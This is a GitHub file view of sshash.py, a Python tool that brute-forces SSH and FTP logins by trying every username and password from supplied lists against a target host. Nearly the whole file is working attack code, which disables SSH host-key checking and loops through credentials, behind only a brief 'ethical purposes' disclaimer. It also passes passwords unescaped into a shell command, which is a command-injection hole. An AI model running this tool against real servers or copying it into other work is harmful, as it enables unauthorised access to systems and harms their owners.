forked from RAPS-LAUNCHER/SSHASH
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsshash.py
More file actions
230 lines (198 loc) · 9.32 KB
/
sshash.py
File metadata and controls
230 lines (198 loc) · 9.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
##################################################################
# WARNING: This Tool Is Made For Pentesters And Ethical Purposes #
##################################################################
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# ----------------------------------------
# Youtube: TrabbitOne
# BuyMeACoffee: trabbit0ne
# Bitcoin: bc1qehnsx5tdwkulamttzla96dmv82ty9ak8l5yy40
# ----------------------------------------
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# ----------------------------------------
# SSH/FTP Brute Forcing Software
# Author: Trabbit
# Date: 2024-07-18
# ----------------------------------------
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/env python3
import os
import sys
import time
import signal
import shutil
import subprocess
from argparse import ArgumentParser
from ftplib import FTP
# Clear function
def clear_screen():
os.system("clear")
# Unalias
os.system("unalias sshash")
def install_package(package_name):
if package_name == "dnsutils":
if sys.platform == "darwin":
subprocess.run(["brew", "install", "bind"], check=True)
elif sys.platform == "linux":
subprocess.run(["sudo", "apt-get", "install", "-y", package_name], check=True)
elif "android" in os.uname().release.lower():
subprocess.run(["pkg", "install", package_name], check=True)
else:
print("System not supported!")
sys.exit(1)
elif package_name == "sshpass":
if sys.platform == "darwin":
subprocess.run(["brew", "install", package_name], check=True)
elif sys.platform == "linux":
subprocess.run(["sudo", "apt-get", "install", "-y", package_name], check=True)
elif "android" in os.uname().release.lower():
subprocess.run(["pkg", "install", package_name], check=True)
else:
print("System not supported!")
sys.exit(1)
def check_installations():
if not shutil.which("nslookup"):
print("[i] Installing nslookup...")
install_package("dnsutils")
if not shutil.which("sshpass"):
print("[i] Installing sshpass...")
install_package("sshpass")
def signal_handler(sig, frame):
print("\nOperation aborted by the user.")
sys.exit(0)
def test_ssh_password(username, password, port, host):
ssh_command = f"sshpass -p '{password}' ssh -o StrictHostKeyChecking=no -p {port} {username}@{host} 'exit'"
result = subprocess.run(ssh_command, shell=True, capture_output=True, text=True)
if result.returncode == 0:
print(f" SSH Login Successful - {username}:{password} [\033[42mSUCCESS\033[0m]")
else:
print(f" SSH Login Failed - {username}:{password} [\033[41mFAIL\033[0m]")
def test_ftp_password(username, password, port, host):
try:
ftp = FTP()
ftp.connect(host, port)
ftp.login(username, password)
print(f" FTP Login Successful - {username}:{password} [\033[42mSUCCESS\033[0m]")
ftp.quit()
except Exception as e:
print(f" FTP Login Failed - {username}:{password} [\033[41mFAIL\033[0m]")
def display_banner():
print("""
›—zÇGÅggÞ66Þí
zÏgÅgggÞ6Ï{›{ügÇ—
zggÅÅÅÅÅÇüGGÇÏízüg{
{ÅÅÅÅÅÅÅÅgggGGg6ÞÅGz›
zÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÇüÞ—
›ÅÅÅÅÅÅÅÅÅÅÅÅÅü{ÞÇÇ
ÞÅÅÅÅÅÅÅÅÅÅÅÅí›ÞÅÏ
ÏÅÅÅÅÅÅÅÅÅÅÅÅÅÅÞÏÞÏ{
ÏÅÅÅÅÅÅÅÅÅ6ÅÅgÏ›—üG{
ÇÅÅÅÅÅÅÅg{ÏÅÅÅÇígÏ
{GÅÅÅÅÅÅÞ6ÅÅÅ6{›
{GÅÅÅÅÅÅÇ{Gí—Þ{›
—ÇÅÅÅÅÅÅÅÅÅggü›zÇgü›
›üÅÅggÅÅÅÅÅÅÅgz—gü6ÅÅgz
›ÏgÅÅÅÇígÅÅÅÅgGGGÅÅÏ—gÅÅÅGí
zÅÅÅÅÅÅü ügÅÅÅÅÅÅgz GÅÅÅÅÅÅ—
í6GÅÅÅÅÅÅÇ› {6gGü— ›gÅÅÅÅÅÅGü—
—GÅÅÅÅÅÅÅÅÅÅÅgí zgÅÅÅÅG{ üÅÅÅÅÅÅÅÅÅÅÅ6›
›zÞÅÅÅÅÅÅÅÅÅÅÅgÏÞízgÅÅgízG6ÅÅÅÅÅÅÅÅÅÅÅÅÇí
{GÅÅÅÅÅÅÅÅÅÅ— üÅgz {ÅÅÅÅÅÅÅÅÅÅÇ—
íÇgÅÅÅÅÅÅgí›ÅgGÇ›ÏÅÅÅÅÅÅÅg6—
—6ÅÅÅÅÅÅgÅÅÅÅgÅÅÅÅÅgÏ›
—ügÅÅÅÅÅÅÅÅÅÅGÏ›
—ÏgÅÅÅÅGýz›
›zíiúiÿ<
DEVELOPED BY TRABBIT
__. __.. ..__. __.. .
(__ (__ |__|[__](__ |__|
.__).__)| || |.__)| |
* SSHASH CONNEXION BRUTE FORCE *
{>===============================================<}
""")
def display_usage():
print("""
__. __.. ..__. __.. .
(__ (__ |__|[__](__ |__|
.__).__)| || |.__)| |
------------------------
\033[41mSSH/FTP CONNEXION BRUTEFORCER \033[0m
|R.C.S.A.| RAPS CYBER SECURITY AGENCY.
WARNING: DO NOT USE FOR ILLEGAL/UNETHICAL PURPOSES.
Usage: sshash -u <user_file> -t <target> -p <port> -l <password_file> [-s <service>]
Options:
-u users_file
-t target <ip or url>
-p port
-l password_list
-s service (ssh or ftp, default: ssh)
Examples:
sshash -u usernames.txt -t https://example.com -p 22 -l passwords.txt -s ssh
sshash -u usernames.txt -t 192.168.123.32 -p 21 -l passwords.txt -s ftp
sshash -u users.txt -t https://example.com -l passwords.txt
""")
class CustomArgumentParser(ArgumentParser):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.register('action', 'help', CustomHelpAction)
def error(self, message):
display_usage()
self.exit(2)
class CustomHelpAction:
def __init__(self, option_strings, dest, nargs=0, **kwargs):
self.option_strings = option_strings
self.dest = dest
self.nargs = nargs
def __call__(self, parser, namespace, values, option_string=None):
display_usage()
parser.exit()
def main():
clear_screen()
parser = CustomArgumentParser(add_help=False)
parser.add_argument('-h', '--help', action='store_true', help='Show this help message and exit')
parser.add_argument("-u", "--users", required=True, help="Path to the file containing the list of usernames")
parser.add_argument("-t", "--target", required=True, help="Target IP or URL")
parser.add_argument("-p", "--port", type=int, default=22, help="Port (default: 22 for SSH, 21 for FTP)")
parser.add_argument("-l", "--passwords", required=True, help="Path to the file containing the list of passwords")
parser.add_argument("-s", "--service", choices=['ssh', 'ftp'], default='ssh', help="Service to brute force (default: ssh)")
args = parser.parse_args()
if args.help:
display_usage()
sys.exit(0)
# Check and install necessary packages
check_installations()
# Display banner
display_banner()
# Load user and password lists
with open(args.users, 'r') as user_file:
users = [line.strip() for line in user_file.readlines()]
with open(args.passwords, 'r') as password_file:
passwords = [line.strip() for line in password_file.readlines()]
# Start brute force attack
print(f" --{{[+]TARGET}} =>", args.target)
print(f" --{{[+]PORT}} =>", args.port)
print(f" --{{[+]SERVICE}} =>", args.service.upper())
print(f" --{{[+]USERLIST}} => {os.path.basename(args.users)}")
print(f" --{{[+]PASSLIST}} => {os.path.basename(args.passwords)}")
print()
print(" {>===============================================<}")
print(" //BRUTEFORCE ATTACK STARTED// ")
print(" {>===============================================<}")
print(" ", end="")
for _ in range(49):
time.sleep(0.01)
print("*", end="")
print()
for user in users:
for password in passwords:
print(" ", end="")
if args.service == 'ssh':
test_ssh_password(user, password, args.port, args.target)
elif args.service == 'ftp':
test_ftp_password(user, password, args.port, args.target)
print(" {>===============================================<}")
print(" Done. ")
print(" {>===============================================<}")
print()
if __name__ == "__main__":
signal.signal(signal.SIGINT, signal_handler)
main()